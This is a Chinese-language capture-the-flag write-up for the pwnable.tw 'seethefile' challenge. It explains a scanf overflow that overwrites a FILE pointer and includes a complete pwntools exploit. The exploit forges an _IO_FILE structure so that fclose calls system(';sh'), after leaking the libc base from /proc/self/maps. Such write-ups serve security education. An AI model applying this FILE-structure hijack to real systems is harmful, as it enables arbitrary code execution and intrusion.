题目链接
1 分析
1 2 3 4 5 6 7 8 9 $ file seethefile seethefile: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=04e6f2f8c85fca448d351ef752ff295581c2650d, not stripped $ checksec seethefile [*] '/mnt/hgfs/vmshare-1604/seethefile/seethefile' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
32位二进制可执行程序
动态链接
got表可读可写
栈不可执行,未开栈canary
未随机化
程序一共实现了五个功能:
所有操作都是针对如下几个bss段的全局变量:
char filename[64]
char magicbuf[416]
name,占0x20个字节
FILE *fp
openfile读取字符串到filename[64]处,如果文件名不包含“flag”字符串就打开这个文件,并将文件描述符指针关联到bss段的FILE *fp。
readfile将打开文件的内容读取到magicbuf[416]。
write to screen将magicbuf[416]中的内容打印到屏幕上。(filename不能包含“flag”,内容中不能包含”FLAG”或”}”)
close将打开的文件关闭。
exit退出前会读取一段字符串到bss段的name处,然后判断fp是否为空,若不为空就fslose(fp)。如下代码:
1 2 3 4 5 6 7 8 case 5 : printf ("Leave your name :" ); __isoc99_scanf("%s" , &name); printf ("Thank you %s ,see you next time\n" , &name); if ( fp ) fclose(fp); exit (0 ); return ;
漏洞点:name和fp相邻,name处在低地址,fp处在高地址。scanf未限制name输入的字符串大小,导致溢出覆盖fp指针。
触发代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from pwn import *context(arch='i386' ,os='linux' ,log_level='debug' ) myelf = ELF('./seethefile' ) mylibc = ELF("/lib32/libc-2.23.so" ) myproc = process(myelf.path) def openfile (filename ): myproc.sendlineafter("Your choice :" ,'1' ) myproc.sendlineafter("What do you want to see :" ,filename) def readfile (): myproc.sendlineafter("Your choice :" ,'2' ) def printfile (): myproc.sendlineafter("Your choice :" ,'3' ) def closefile (): myproc.sendlineafter("Your choice :" ,'4' ) def exit (name ): myproc.sendlineafter("Your choice :" ,'5' ) myproc.sendlineafter("Leave your name :" ,name) closefile() gdb.attach(myproc) exit('a' *50 ) myproc.interactive()
执行以上出发代码,观察堆栈发现eax和esi都被输入的“a”字符给覆盖了。
1 2 3 4 5 6 7 8 9 10 $ eax : 0x61616161 ("aaaa" ?) $ ebx : 0xf7f7a000 → 0x001afdb0 $ ecx : 0xffffffff $ edx : 0xf7f7b870 → 0x00000000 $ esp : 0xffe11f60 → 0xf7faa7eb → add esi, 0x15815 $ ebp : 0xffe11f88 → 0xffe11fd8 → 0x00000000 $ esi : 0x61616161 ("aaaa" ?) $ edi : 0xf7f7a000 → 0x001afdb0 $ eip : 0xf7e26ed7 → <fclose+23> cmp BYTE PTR [esi+0x46], 0x0 $ eflags: [carry PARITY adjust zero SIGN trap INTERRUPT direction overflow RESUME virtualx86
2 利用
根据fclose的特性,参考了以下几篇文章:
pwnable.tw 9 seethefile
glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行
(1)_IO_FILE结构体大小为0x94
(2)flags & 0x2000为0就会直接调用_IO_FINSH(fp),_IO_FINISH(fp)相当于调用fp->vtabl->__finish(fp)
(3)将fp指向一块内存P,P偏移0的前4字节设置为0xffffdfff,P偏移4位置放上要执行的字符串指令(字符串以’;’开头即可),P偏移sizeof(_IO_FILE)大小位置(vtable)覆盖为内存区域Q,Q偏移2*4字节处(vtable->__finish)覆盖为system函数地址即可
(4)vtable是个虚标指针,里面一般性是21or23个变量
exp如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 from pwn import *context(arch='i386' ,os='linux' ,log_level='debug' ) myelf = ELF('./seethefile' ) mylibc = ELF('./libc_32.so.6' ) myproc = remote('chall.pwnable.tw' ,10200 ) def openfile (filename ): myproc.sendlineafter("Your choice :" ,'1' ) myproc.sendlineafter("What do you want to see :" ,filename) def readfile (): myproc.sendlineafter("Your choice :" ,'2' ) def printfile (): myproc.sendlineafter("Your choice :" ,'3' ) def closefile (): myproc.sendlineafter("Your choice :" ,'4' ) def exit (name ): myproc.sendlineafter("Your choice :" ,'5' ) myproc.sendlineafter("Leave your name :" ,name) openfile("/proc/self/maps" ) readfile() printfile() log.warn(myproc.recvline()) log.warn(myproc.recvline()) log.warn(myproc.recvline()) log.warn(myproc.recvline()) libc_addr = int (myproc.recv(8 ),16 ) + 0x1000 log.warn("libc_addr : 0x%x" % libc_addr) sys_addr = libc_addr + mylibc.symbols['system' ] log.warn("sys_addr: 0x%x" % sys_addr) closefile() openfile('/proc/self/maps' ) FAKE_IO_FILE_addr = 0x0804b300 payload = "a" *32 + p32(FAKE_IO_FILE_addr) payload += "\x00" *(0x80 -4 ) payload += "\xff\xff\xdf\xff;sh\x00" .ljust(0x94 ,'\x00' ) payload += p32(FAKE_IO_FILE_addr + 0x98 ) payload += p32(sys_addr)*21 exit(payload) myproc.interactive()
其他解题思路:
seethefile 解题思路